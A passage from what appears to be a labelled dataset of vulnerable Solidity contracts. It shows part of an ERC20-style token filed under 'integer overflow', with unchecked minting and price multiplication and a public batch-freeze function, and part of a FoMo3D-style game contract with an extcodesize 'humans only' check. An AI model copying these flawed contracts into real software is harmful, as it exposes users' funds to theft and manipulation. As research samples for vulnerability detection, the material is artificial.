Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function burn(uint256 _value) onlyOwner public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) onlyOwner public returns (bool success) { require(balances[_from] >= _value); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(_from, _value); return true; } function mintToken(address _to, uint256 _amount) onlyOwner public { uint256 amount = _amount * 10 ** uint256(decimals); totalSupply = totalSupply.add(amount); balances[_to] = balances[_to].add(amount); emit Transfer(this, _to, amount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } uint256 public buyPrice; function setPrices(uint256 _buyPrice) onlyOwner public { buyPrice = _buyPrice; } uint256 public airdropTotalSupply; uint256 public airdropCurrentTotal; uint256 public airdropAmount; mapping(address => bool) public touched; event Airdrop(address indexed _address, uint256 indexed _value); function setAirdropTotalSupply(uint256 _amount) onlyOwner public { airdropTotalSupply = _amount * 10 ** uint256(decimals); } function setAirdropAmount(uint256 _amount) onlyOwner public{ airdropAmount = _amount * 10 ** uint256(decimals); } function () public payable { if (msg.value == 0 && !touched[msg.sender] && airdropAmount > 0 && airdropCurrentTotal < airdropTotalSupply) { touched[msg.sender] = true; airdropCurrentTotal = airdropCurrentTotal.add(airdropAmount); _transfer(owner, msg.sender, airdropAmount); emit Airdrop(msg.sender, airdropAmount); }else{ owner.transfer(msg.value); _transfer(owner, msg.sender, msg.value * buyPrice); } } function batchFreezeAccount(address[] _target, bool _freeze) public returns (bool success) { for (uint i=0; i<_target.length; i++) { freezeAccount(_target[i], _freeze); } return true; } function airdrop(address[] _to, uint256 _value) public returns (bool success) { require(_value > 0 && balanceOf(msg.sender) >= _value.mul(_to.length)); for (uint i=0; i<_to.length; i++) { _transfer(msg.sender, _to[i], _value); } return true; } function batchTransfer(address[] _to, uint256[] _value) public returns (bool success) { require(_to.length == _value.length); uint256 amount = 0; for(uint n=0;n<_value.length;n++){ amount = amount.add(_value[n]); } require(amount > 0 && balanceOf(msg.sender) >= amount); for (uint i=0; i<_to.length; i++) { transfer(_to[i], _value[i]); } return true; } }",./Dataset/integer overflow (OF)/,4,4 2794.sol,"pragma solidity ^0.4.24; interface F3DexternalSettingsInterface { function getFastGap() external returns(uint256); function getLongGap() external returns(uint256); function getFastExtra() external returns(uint256); function getLongExtra() external returns(uint256); } interface FundForwarderInterface { function deposit() external payable returns(bool); function status() external view returns(address, address, bool); function startMigration(address _newCorpBank) external returns(bool); function cancelMigration() external returns(bool); function finishMigration() external returns(bool); function setup(address _firstCorpBank) external; } interface FundInterfaceForForwarder { function deposit(address _addr) external payable returns (bool); function migrationReceiver_setup() external returns (bool); } interface HourglassInterface { function() payable external; function buy(address _playerAddress) payable external returns(uint256); function sell(uint256 _amountOfTokens) external; function reinvest() external; function withdraw() external; function exit() external; function dividendsOf(address _playerAddress) external view returns(uint256); function balanceOf(address _playerAddress) external view returns(uint256); function transfer(address _toAddress, uint256 _amountOfTokens) external returns(bool); function stakingRequirement() external view returns(uint256); } interface otherFoMo3D { function potSwap() external payable; } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } interface PlayerBookReceiverInterface { function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external; function receivePlayerNameList(uint256 _pID, bytes32 _name) external; } interface TeamInterface { function requiredSignatures() external view returns(uint256); function requiredDevSignatures() external view returns(uint256); function adminCount() external view returns(uint256); function devCount() external view returns(uint256); function adminName(address _who) external view returns(bytes32); function isAdmin(address _who) external view returns(bool); function isDev(address _who) external view returns(bool); } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library MSFun { struct Data { mapping (bytes32 => ProposalData) proposal_; } struct ProposalData { bytes32 msgData; uint256 count; mapping (address => bool) admin; mapping (uint256 => address) log; } function multiSig(Data storage self, uint256 _requiredSignatures, bytes32 _whatFunction) internal returns(bool) { bytes32 _whatProposal = whatProposal(_whatFunction); uint256 _currentCount = self.proposal_[_whatProposal].count; address _whichAdmin = msg.sender; bytes32 _msgData = keccak256(msg.data); if (_currentCount == 0) { self.proposal_[_whatProposal].msgData = _msgData; self.proposal_[_whatProposal].admin[_whichAdmin] = true; self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin; self.proposal_[_whatProposal].count += 1; if (self.proposal_[_whatProposal].count == _requiredSignatures) { return(true); } } else if (self.proposal_[_whatProposal].msgData == _msgData) { if (self.proposal_[_whatProposal].admin[_whichAdmin] == false) { self.proposal_[_whatProposal].admin[_whichAdmin] = true; self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin; self.proposal_[_whatProposal].count += 1; } if (self.proposal_[_whatProposal].count == _requiredSignatures) { return(true); } } } function deleteProposal(Data storage self, bytes32 _whatFunction) internal { bytes32 _whatProposal = whatProposal(_whatFunction); address _whichAdmin; for (uint256 i=0; i < self.proposal_[_whatProposal].count; i++) { _whichAdmin = self.proposal_[_whatProposal].log[i]; delete self.proposal_[_whatProposal].admin[_whichAdmin]; delete self.proposal_[_whatProposal].log[i]; } delete self.proposal_[_whatProposal]; } function whatProposal(bytes32 _whatFunction) private view returns(bytes32) { return(keccak256(abi.encodePacked(_whatFunction,this))); } function checkMsgData (Data storage self, bytes32 _whatFunction) internal view returns (bytes32 msg_data) { bytes32 _whatProposal = whatProposal(_whatFunction); return (self.proposal_[_whatProposal].msgData); } function checkCount (Data storage self, bytes32 _whatFunction) internal view returns (uint256 signature_count) { bytes32 _whatProposal = whatProposal(_whatFunction); return (self.proposal_[_whatProposal].count); } function checkSigner (Data storage self, bytes32 _whatFunction, uint256 _signer) internal view returns (address signer) { require(_signer > 0, ""MSFun checkSigner failed - 0 not allowed""); bytes32 _whatProposal = whatProposal(_whatFunction); return (self.proposal_[_whatProposal].log[_signer - 1]); } } library F3DKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } library UintCompressor { using SafeMath for *; function insert(uint256 _var, uint256 _include, uint256 _start, uint256 _end) internal pure returns(uint256) { require(_end < 77 && _start < 77, ""start/end must be less than 77""); require(_end >= _start, ""end must be >= start""); _end = exponent(_end).mul(10); _start = exponent(_start); require(_include < (_end / _start)); if (_include > 0) _include = _include.mul(_start); return((_var.sub((_var / _start).mul(_start))).add(_include).add((_var / _end).mul(_end))); } function extract(uint256 _input, uint256 _start, uint256 _end) internal pure returns(uint256) { require(_end < 77 && _start < 77, ""start/end must be less than 77""); require(_end >= _start, ""end must be >= start""); _end = exponent(_end).mul(10); _start = exponent(_start); return((((_input / _start).mul(_start)).sub((_input / _end).mul(_end))) / _start); } function exponent(uint256 _position) private pure returns(uint256) { return((10).pwr(_position)); } } contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract FundForwarder { string public name = ""FundForwarder""; FundInterfaceForForwarder private currentCorpBank_; address private newCorpBank_; bool needsBank_ = true; constructor() public { } function() public payable { currentCorpBank_.deposit.value(address(this).balance)(address(currentCorpBank_)); } function deposit() public payable returns(bool) { require(msg.value > 0, ""Forwarder Deposit failed - zero deposits not allowed""); require(needsBank_ == false, ""Forwarder Deposit failed - no registered bank""); if (currentCorpBank_.deposit.value(msg.value)(msg.sender) == true) return(true); else return(false); } function status() public view returns(address, address, bool) { return(address(currentCorpBank_), address(newCorpBank_), needsBank_); } function startMigration(address _newCorpBank) external returns(bool) { require(msg.sender == address(currentCorpBank_), ""Forwarder startMigration failed - msg.sender must be current corp bank""); if(FundInterfaceForForwarder(_newCorpBank).migrationReceiver_setup() == true) { newCorpBank_ = _newCorpBank; return (true); } else return (false); } function cancelMigration() external returns(bool) { require(msg.sender == address(currentCorpBank_), ""Forwarder cancelMigration failed - msg.sender must be current corp bank""); newCorpBank_ = address(0x0); return (true); } function finishMigration() external returns(bool) { require(msg.sender == newCorpBank_, ""Forwarder finishMigration failed - msg.sender must be new corp bank""); currentCorpBank_ = (FundInterfaceForForwarder(newCorpBank_)); newCorpBank_ = address(0x0); return (true); } function setup(address _firstCorpBank) external { require(needsBank_ == true, ""Forwarder setup failed - corp bank already registered""); currentCorpBank_ = FundInterfaceForForwarder(_firstCorpBank); needsBank_ = false; } } contract ModularLong is F3Devents {} contract PlayerBook { using NameFilter for string; using SafeMath for uint256; address constant private DEV_1_ADDRESS = 0x7a9E13E044CB905957eA465488DabD5F5D34E2C4; bytes32 constant private DEV_1_NAME = ""master""; FundForwarderInterface constant private FundForwarderConst = FundForwarderInterface(0x5095072aEE46a39D0b3753184514ead86405780f); TeamInterface constant private TeamJust = TeamInterface(0xf72848D3426d8dB71e52FAc6Df29585649bb7CBD); MSFun.Data private msData; function multiSigDev(bytes32 _whatFunction) private returns (bool) {return(MSFun.multiSig(msData, TeamJust.requiredDevSignatures(), _whatFunction));} function deleteProposal(bytes32 _whatFunction) private {MSFun.deleteProposal(msData, _whatFunction);} function deleteAnyProposal(bytes32 _whatFunction) onlyDevs() public {MSFun.deleteProposal(msData, _whatFunction);} function checkData(bytes32 _whatFunction) onlyDevs() public view returns(bytes32, uint256) {return(MSFun.checkMsgData(msData, _whatFunction), MSFun.checkCount(msData, _whatFunction));} function checkSignersByAddress(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyDevs() public view returns(address, address, address) {return(MSFun.checkSigner(msData, _whatFunction, _signerA), MSFun.checkSigner(msData, _whatFunction, _signerB), MSFun.checkSigner(msData, _whatFunction, _signerC));} function checkSignersByName(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyDevs() public view returns(bytes32, bytes32, bytes32) {return(TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerA)), TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerB)), TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerC)));} uint256 public registrationFee_ = 10 finney; mapping(uint256 => PlayerBookReceiverInterface) public games_; mapping(address => bytes32) public gameNames_; mapping(address => uint256) public gameIDs_; uint256 public gID_; uint256 public pID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => Player) public plyr_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; struct Player { address addr; bytes32 name; uint256 laff; uint256 names; } constructor() public { plyr_[1].addr = DEV_1_ADDRESS; plyr_[1].name = DEV_1_NAME; plyr_[1].names = 1; pIDxAddr_[DEV_1_ADDRESS] = 1; pIDxName_[DEV_1_NAME] = 1; plyrNames_[1][DEV_1_NAME] = true; plyrNameList_[1][1] = DEV_1_NAME; pID_ = 1; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier onlyDevs() { require(TeamJust.isDev(msg.sender) == true, ""msg sender is not a dev""); _; } modifier isRegisteredGame() { require(gameIDs_[msg.sender] != 0); _; } event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); function checkIfNameValid(string _nameStr) public view returns(bool) { bytes32 _name = _nameStr.nameFilter(); if (pIDxName_[_name] == 0) return (true); else return (false); } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) { plyr_[_pID].laff = _affCode; } else if (_affCode == _pID) { _affCode = 0; } registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != """" && _affCode != _name) { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } function addMeToGame(uint256 _gameID) isHuman() public { require(_gameID <= gID_, ""silly player, that game doesn't exist yet""); address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, ""hey there buddy, you dont even have an account""); uint256 _totalNames = plyr_[_pID].names; games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } function addMeToAllGames() isHuman() public { address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, ""hey there buddy, you dont even have an account""); uint256 _laff = plyr_[_pID].laff; uint256 _totalNames = plyr_[_pID].names; bytes32 _name = plyr_[_pID].name; for (uint256 i = 1; i <= gID_; i++) { games_[i].receivePlayerInfo(_pID, _addr, _name, _laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } } function useMyOldName(string _nameString) isHuman() public { bytes32 _name = _nameString.nameFilter(); uint256 _pID = pIDxAddr_[msg.sender]; require(plyrNames_[_pID][_name] == true, ""umm... thats not a name you own""); plyr_[_pID].name = _name; } function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all) private { if (pIDxName_[_name] != 0) require(plyrNames_[_pID][_name] == true, ""sorry that names already taken""); plyr_[_pID].name = _name; pIDxName_[_name] = _pID; if (plyrNames_[_pID][_name] == false) { plyrNames_[_pID][_name] = true; plyr_[_pID].names++; plyrNameList_[_pID][plyr_[_pID].names] = _name; } FundForwarderConst.deposit.value(address(this).balance)(); if (_all == true) for (uint256 i = 1; i <= gID_; i++) games_[i].receivePlayerInfo(_pID, _addr, _name, _affID); emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now); } function determinePID(address _addr) private returns (bool) { if (pIDxAddr_[_addr] == 0) { pID_++; pIDxAddr_[_addr] = pID_; plyr_[pID_].addr = _addr; return (true); } else { return (false); } } function getPlayerID(address _addr) isRegisteredGame() external returns (uint256) { determinePID(_addr); return (pIDxAddr_[_addr]); } function getPlayerName(uint256 _pID) external view returns (bytes32) { return (plyr_[_pID].name); } function getPlayerLAff(uint256 _pID) external view returns (uint256) { return (plyr_[_pID].laff); } function getPlayerAddr(uint256 _pID) external view returns (address) { return (plyr_[_pID].addr); } function getNameFee() external view returns (uint256) { return(registrationFee_); } function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID = _affCode; if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID) { plyr_[_pID].laff = _affID; } else if (_affID == _pID) { _affID = 0; } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != """" && _affCode != _name) { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function addGame(address _gameAddress, string _gameNameStr) onlyDevs() public { require(gameIDs_[_gameAddress] == 0, ""derp, that games already been registered""); if (multiSigDev(""addGame"") == true) { deleteProposal(""addGame""); gID_++; bytes32 _name = _gameNameStr.nameFilter(); gameIDs_[_gameAddress] = gID_; gameNames_[_gameAddress] = _name; games_[gID_] = PlayerBookReceiverInterface(_gameAddress); games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0); games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0); games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0); games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0); } } function setRegistrationFee(uint256 _fee) onlyDevs() public { if (multiSigDev(""setRegistrationFee"") == true) {deleteProposal(""setRegistrationFee""); registrationFee_ = _fee; } } } contract Team { address constant private DEV_1_ADDRESS = 0x7a9E13E044CB905957eA465488DabD5F5D34E2C4; bytes32 constant private DEV_1_NAME = ""master""; FundForwarderInterface private FundForwarderTeam = FundForwarderInterface(0x0); MSFun.Data private msData; function deleteAnyProposal(bytes32 _whatFunction) onlyDevs() public {MSFun.deleteProposal(msData, _whatFunction);} function checkData(bytes32 _whatFunction) onlyAdmins() public view returns(bytes32 message_data, uint256 signature_count) {return(MSFun.checkMsgData(msData, _whatFunction), MSFun.checkCount(msData, _whatFunction));} function checkSignersByName(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyAdmins() public view returns(bytes32, bytes32, bytes32) {return(this.adminName(MSFun.checkSigner(msData, _whatFunction, _signerA)), this.adminName(MSFun.checkSigner(msData, _whatFunction, _signerB)), this.adminName(MSFun.checkSigner(msData, _whatFunction, _signerC)));} struct Admin { bool isAdmin; bool isDev; bytes32 name; } mapping (address => Admin) admins_; uint256 adminCount_; uint256 devCount_; uint256 requiredSignatures_; uint256 requiredDevSignatures_; constructor() public { admins_[DEV_1_ADDRESS] = Admin(true, true, DEV_1_NAME); adminCount_ = 1; devCount_ = 1; requiredSignatures_ = 1; requiredDevSignatures_ = 1; } function () public payable { FundForwarderTeam.deposit.value(address(this).balance)(); } function setup(address _addr) onlyDevs() public { require( address(FundForwarderTeam) == address(0) ); FundForwarderTeam = FundForwarderInterface(_addr); } modifier onlyDevs() { require(admins_[msg.sender].isDev == true, ""onlyDevs failed - msg.sender is not a dev""); _; } modifier onlyAdmins() { require(admins_[msg.sender].isAdmin == true, ""onlyAdmins failed - msg.sender is not an admin""); _; } function addAdmin(address _who, bytes32 _name, bool _isDev) public onlyDevs() { if (MSFun.multiSig(msData, requiredDevSignatures_, ""addAdmin"") == true) { MSFun.deleteProposal(msData, ""addAdmin""); if (admins_[_who].isAdmin == false) { admins_[_who].isAdmin = true; adminCount_ += 1; requiredSignatures_ += 1; } if (_isDev == true) { admins_[_who].isDev = _isDev; devCount_ += 1; requiredDevSignatures_ += 1; } } admins_[_who].name = _name; } function removeAdmin(address _who) public onlyDevs() { require(adminCount_ > 1, ""removeAdmin failed - cannot have less than 2 admins""); require(adminCount_ >= requiredSignatures_, ""removeAdmin failed - cannot have less admins than number of required signatures""); if (admins_[_who].isDev == true) { require(devCount_ > 1, ""removeAdmin failed - cannot have less than 2 devs""); require(devCount_ >= requiredDevSignatures_, ""removeAdmin failed - cannot have less devs than number of required dev signatures""); } if (MSFun.multiSig(msData, requiredDevSignatures_, ""removeAdmin"") == true) { MSFun.deleteProposal(msData, ""removeAdmin""); if (admins_[_who].isAdmin == true) { admins_[_who].isAdmin = false; adminCount_ -= 1; if (requiredSignatures_ > 1) { requiredSignatures_ -= 1; } } if (admins_[_who].isDev == true) { admins_[_who].isDev = false; devCount_ -= 1; if (requiredDevSignatures_ > 1) { requiredDevSignatures_ -= 1; } } } } function changeRequiredSignatures(uint256 _howMany) public onlyDevs() { require(_howMany > 0 && _howMany <= adminCount_, ""changeRequiredSignatures failed - must be between 1 and number of admins""); if (MSFun.multiSig(msData, requiredDevSignatures_, ""changeRequiredSignatures"") == true) { MSFun.deleteProposal(msData, ""changeRequiredSignatures""); requiredSignatures_ = _howMany; } } function changeRequiredDevSignatures(uint256 _howMany) public onlyDevs() { require(_howMany > 0 && _howMany <= devCount_, ""changeRequiredDevSignatures failed - must be between 1 and number of devs""); if (MSFun.multiSig(msData, requiredDevSignatures_, ""changeRequiredDevSignatures"") == true) { MSFun.deleteProposal(msData, ""changeRequiredDevSignatures""); requiredDevSignatures_ = _howMany; } } function requiredSignatures() external view returns(uint256) {return(requiredSignatures_);} function requiredDevSignatures() external view returns(uint256) {return(requiredDevSignatures_);} function adminCount() external view returns(uint256) {return(adminCount_);} function devCount() external view returns(uint256) {return(devCount_);} function adminName(address _who) external view returns(bytes32) {return(admins_[_who].name);} function isAdmin(address _who) external view returns(bool) {return(admins_[_who].isAdmin);} function isDev(address _who) external view returns(bool) {return(admins_[_who].isDev);} } contract FoMo3DlongUnlimited is ModularLong { using SafeMath for *; using NameFilter for string; using F3DKeysCalcLong for uint256; address constant private DEV_1_ADDRESS = 0x7a9E13E044CB905957eA465488DabD5F5D34E2C4; otherFoMo3D private otherF3D_; FundForwarderInterface constant private FundForwarderMain = FundForwarderInterface(0x5095072aEE46a39D0b3753184514ead86405780f); PlayerBookInterface constant private PlayerBookMain = PlayerBookInterface(0xf72848D3426d8dB71e52FAc6Df29585649bb7CBD); bool public activated_ = false; string constant public name = ""Fomo3D Long Unlimited""; string constant public symbol = ""F3DLong""; uint256 private rndExtra_ = 10 minutes; uint256 private rndGap_ = 10 minutes; uint256 constant private rndInit_ = 1 hours; uint256 constant private rndInc_ = 0 seconds; uint256 constant private rndMax_ = 2 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(36,0); fees_[1] = F3Ddatasets.TeamFee(43,0); fees_[2] = F3Ddatasets.TeamFee(66,0); fees_[3] = F3Ddatasets.TeamFee(51,0); potSplit_[0] = F3Ddatasets.PotSplit(25,0); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(40,0); potSplit_[3] = F3Ddatasets.PotSplit(40,0); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } 